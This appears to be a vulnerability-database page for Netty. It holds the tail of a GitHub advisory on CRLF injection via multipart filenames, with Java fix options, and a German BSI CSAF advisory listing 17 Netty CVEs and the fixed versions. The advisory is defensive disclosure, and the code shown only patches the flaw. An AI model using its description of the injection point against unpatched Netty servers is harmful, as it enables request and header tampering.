(Recommended)\n\n```java\n// DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java\npublic void setFilename(String filename) {\n ObjectUtil.checkNotNull(filename, \"filename\");\n for (int i = 0; i \u003c filename.length(); i++) {\n char c = filename.charAt(i);\n if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027) {\n throw new IllegalArgumentException(\n \"filename contains prohibited CRLF character at index \" + i);\n }\n }\n this.filename = filename;\n}\n```\n\n### Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth)\n\nEscape or reject CRLF characters when building Content-Disposition headers:\n\n```java\n// HttpPostRequestEncoder.java - add helper method\nprivate static String sanitizeHeaderParam(String value) {\n for (int i = 0; i \u003c value.length(); i++) {\n char c = value.charAt(i);\n if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027 || c == \u0027\"\u0027) {\n throw new ErrorDataEncoderException(\n \"Multipart parameter contains prohibited character at index \" + i);\n }\n }\n return value;\n}\n\n// Then use in Content-Disposition construction:\ninternal.addValue(... + \"=\\\"\" + sanitizeHeaderParam(fileUpload.getFilename()) + \"\\\"\\r\\n\");\n```\n\n### Option 3: RFC 2231/5987 Encoding for Filenames\n\nUse proper RFC 2231 encoding for filenames with special characters:\n\n```java\n// Encode filename per RFC 5987:\n// filename*=UTF-8\u0027\u0027encoded%20filename\nString encodedFilename = \"UTF-8\u0027\u0027\" + URLEncoder.encode(filename, \"UTF-8\");\ninternal.addValue(... + \"filename*=\" + encodedFilename + \"\\r\\n\");\n```\n\n## 9. References\n\n- [RFC 2183: Content-Disposition Header Field](https://tools.ietf.org/html/rfc2183)\n- [RFC 7578: Returning Values from Forms: multipart/form-data](https://tools.ietf.org/html/rfc7578)\n- [RFC 5987: Character Set and Language Encoding for HTTP Header Field Parameters](https://tools.ietf.org/html/rfc5987)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)",
"id": "GHSA-gcjf-9mgh-3p7g",
"modified": "2026-07-22T21:52:55Z",
"published": "2026-07-22T21:52:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-gcjf-9mgh-3p7g"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder"
}
WID-SEC-W-2026-2356
Vulnerability from csaf_certbund - Published: 2026-07-14 22:00 - Updated: 2026-07-21 22:00Summary
Netty: Mehrere Schwachstellen
Severity
Hoch
Notes
Das BSI ist als Anbieter für die eigenen, zur Nutzung bereitgestellten Inhalte nach den allgemeinen Gesetzen verantwortlich. Nutzerinnen und Nutzer sind jedoch dafür verantwortlich, die Verwendung und/oder die Umsetzung der mit den Inhalten bereitgestellten Informationen sorgfältig im Einzelfall zu prüfen.
Produktbeschreibung: Netty ist ein asynchrones, ereignisgesteuertes Netzwerk-Anwendungs-Framework für die schnelle Entwicklung von wartbaren, hochleistungsfähigen Protokollservern und -clients.
Angriff: Ein Angreifer kann mehrere Schwachstellen in Netty ausnutzen, um Sicherheitsprüfungen zu umgehen, Anfragen oder Header zu manipulieren, Zertifikatsprüfungen zu unterlaufen sowie einen Denial of Service zu verursachen.
Betroffene Betriebssysteme: - Linux
- UNIX
Affected products
Known affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
Affected products
Known affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
Affected products
Known affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
Affected products
Known affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
Affected products
Known affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
Affected products
Known affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
Affected products
Known affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
Affected products
Known affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
Affected products
Known affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
Affected products
Known affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
Affected products
Known affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
Affected products
Known affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
Affected products
Known affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
Affected products
Known affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
Affected products
Known affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
Affected products
Known affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
Affected products
Known affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
References
19 references
{
"document": {
"aggregate_severity": {
"text": "hoch"
},
"category": "csaf_base",
"csaf_version": "2.0",
"distribution": {
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "de-DE",
"notes": [
{
"category": "legal_disclaimer",
"text": "Das BSI ist als Anbieter f\u00fcr die eigenen, zur Nutzung bereitgestellten Inhalte nach den allgemeinen Gesetzen verantwortlich. Nutzerinnen und Nutzer sind jedoch daf\u00fcr verantwortlich, die Verwendung und/oder die Umsetzung der mit den Inhalten bereitgestellten Informationen sorgf\u00e4ltig im Einzelfall zu pr\u00fcfen."
},
{
"category": "description",
"text": "Netty ist ein asynchrones, ereignisgesteuertes Netzwerk-Anwendungs-Framework f\u00fcr die schnelle Entwicklung von wartbaren, hochleistungsf\u00e4higen Protokollservern und -clients.",
"title": "Produktbeschreibung"
},
{
"category": "summary",
"text": "Ein Angreifer kann mehrere Schwachstellen in Netty ausnutzen, um Sicherheitspr\u00fcfungen zu umgehen, Anfragen oder Header zu manipulieren, Zertifikatspr\u00fcfungen zu unterlaufen sowie einen Denial of Service zu verursachen.",
"title": "Angriff"
},
{
"category": "general",
"text": "- Linux\n- UNIX",
"title": "Betroffene Betriebssysteme"
}
],
"publisher": {
"category": "other",
"contact_details": "csaf-provider@cert-bund.de",
"name": "Bundesamt f\u00fcr Sicherheit in der Informationstechnik",
"namespace": "https://www.bsi.bund.de"
},
"references": [
{
"category": "self",
"summary": "WID-SEC-W-2026-2356 - CSAF Version",
"url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-2356.json"
},
{
"category": "self",
"summary": "WID-SEC-2026-2356 - Portal Version",
"url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2356"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-4qhr-g3c6-fcfx vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-4qhr-g3c6-fcfx"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-272m-gcwp-mpwg vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-272m-gcwp-mpwg"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-3g8r-4pfx-jmfh vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-3g8r-4pfx-jmfh"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-4mp9-239f-g9hg vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-4mp9-239f-g9hg"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-q4f6-jm68-57ww vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-q4f6-jm68-57ww"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-c69g-56f8-xwqj vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-c69g-56f8-xwqj"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-558v-64gr-wgg4 vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-558v-64gr-wgg4"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-6jqx-86gh-f27w vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-6jqx-86gh-f27w"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-93wv-jw9v-4972 vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-93wv-jw9v-4972"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-g7hg-vrcf-mvmr vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-g7hg-vrcf-mvmr"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-gcjf-9mgh-3p7g vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-gcjf-9mgh-3p7g"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-hpcc-26xq-25fv vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-hpcc-26xq-25fv"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-jppx-w49h-x2qq vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-jppx-w49h-x2qq"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-mvh2-crg5-v77c vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-mvh2-crg5-v77c"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-q6cq-mhr2-jmr5 vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-q6cq-mhr2-jmr5"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-vhch-2wf3-m8rp vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-vhch-2wf3-m8rp"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-wc96-39fc-566f vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-wc96-39fc-566f"
}
],
"source_lang": "en-US",
"title": "Netty: Mehrere Schwachstellen",
"tracking": {
"current_release_date": "2026-07-21T22:00:00.000+00:00",
"generator": {
"date": "2026-07-22T09:20:42.612+00:00",
"engine": {
"name": "BSI-WID",
"version": "1.6.0"
}
},
"id": "WID-SEC-W-2026-2356",
"initial_release_date": "2026-07-14T22:00:00.000+00:00",
"revision_history": [
{
"date": "2026-07-14T22:00:00.000+00:00",
"number": "1",
"summary": "Initiale Fassung"
},
{
"date": "2026-07-19T22:00:00.000+00:00",
"number": "2",
"summary": "Referenz(en) aufgenommen: EUVD-2026-45316"
},
{
"date": "2026-07-20T22:00:00.000+00:00",
"number": "3",
"summary": "Referenz(en) aufgenommen: EUVD-2026-46133, EUVD-2026-46132"
},
{
"date": "2026-07-21T22:00:00.000+00:00",
"number": "4",
"summary": "Referenz(en) aufgenommen: EUVD-2026-46452, EUVD-2026-46438, EUVD-2026-47564, EUVD-2026-47579, EUVD-2026-47582, EUVD-2026-47581"
}
],
"status": "final",
"version": "4"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version_range",
"name": "\u003c4.2.16",
"product": {
"name": "Open Source Netty \u003c4.2.16",
"product_id": "T056598"
}
},
{
"category": "product_version",
"name": "4.2.16",
"product": {
"name": "Open Source Netty 4.2.16",
"product_id": "T056598-fixed",
"product_identification_helper": {
"cpe": "cpe:/a:netty:netty:4.2.16"
}
}
},
{
"category": "product_version_range",
"name": "\u003c4.1.136",
"product": {
"name": "Open Source Netty \u003c4.1.136",
"product_id": "T056599"
}
},
{
"category": "product_version",
"name": "4.1.136",
"product": {
"name": "Open Source Netty 4.1.136",
"product_id": "T056599-fixed",
"product_identification_helper": {
"cpe": "cpe:/a:netty:netty:4.1.136"
}
}
}
],
"category": "product_name",
"name": "Netty"
}
],
"category": "vendor",
"name": "Open Source"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-44891",
"product_status": {
"known_affected": [
"T056599",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-44891"
},
{
"cve": "CVE-2026-55831",
"product_status": {
"known_affected": [
"T056599",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-55831"
},
{
"cve": "CVE-2026-55833",
"product_status": {
"known_affected": [
"T056599",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-55833"
},
{
"cve": "CVE-2026-55851",
"product_status": {
"known_affected": [
"T056599",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-55851"
},
{
"cve": "CVE-2026-56745",
"product_status": {
"known_affected": [
"T056599",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-56745"
},
{
"cve": "CVE-2026-56816",
"product_status": {
"known_affected": [
"T056599",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-56816"
},
{
"cve": "CVE-2026-56817",
"product_status": {
"known_affected": [
"T056599",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-56817"
},
{
"cve": "CVE-2026-56819",
"product_status": {
"known_affected": [
"T056599",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-56819"
},
{
"cve": "CVE-2026-56820",
"product_status": {
"known_affected": [
"T056599",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-56820"
},
{
"cve": "CVE-2026-56821",
"product_status": {
"known_affected": [
"T056599",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-56821"
},
{
"cve": "CVE-2026-56822",
"product_status": {
"known_affected": [
"T056599",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-56822"
},
{
"cve": "CVE-2026-59898",
"product_status": {
"known_affected": [
"T056599",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-59898"
},
{
"cve": "CVE-2026-59899",
"product_status": {
"known_affected": [
"T056599",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-59899"
},
{
"cve": "CVE-2026-59900",
"product_status": {
"known_affected": [
"T056599",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-59900"
},
{
"cve": "CVE-2026-59901",
"product_status": {
"known_affected": [
"T056599",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-59901"
},
{
"cve": "CVE-2026-59920",
"product_status": {
"known_affected": [
"T056599",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-59920"
},
{
"cve": "CVE-2026-59921",
"product_status": {
"known_affected": [
"T056599",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-59921"
}
]
}
Loading…
Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
Loading…
Loading…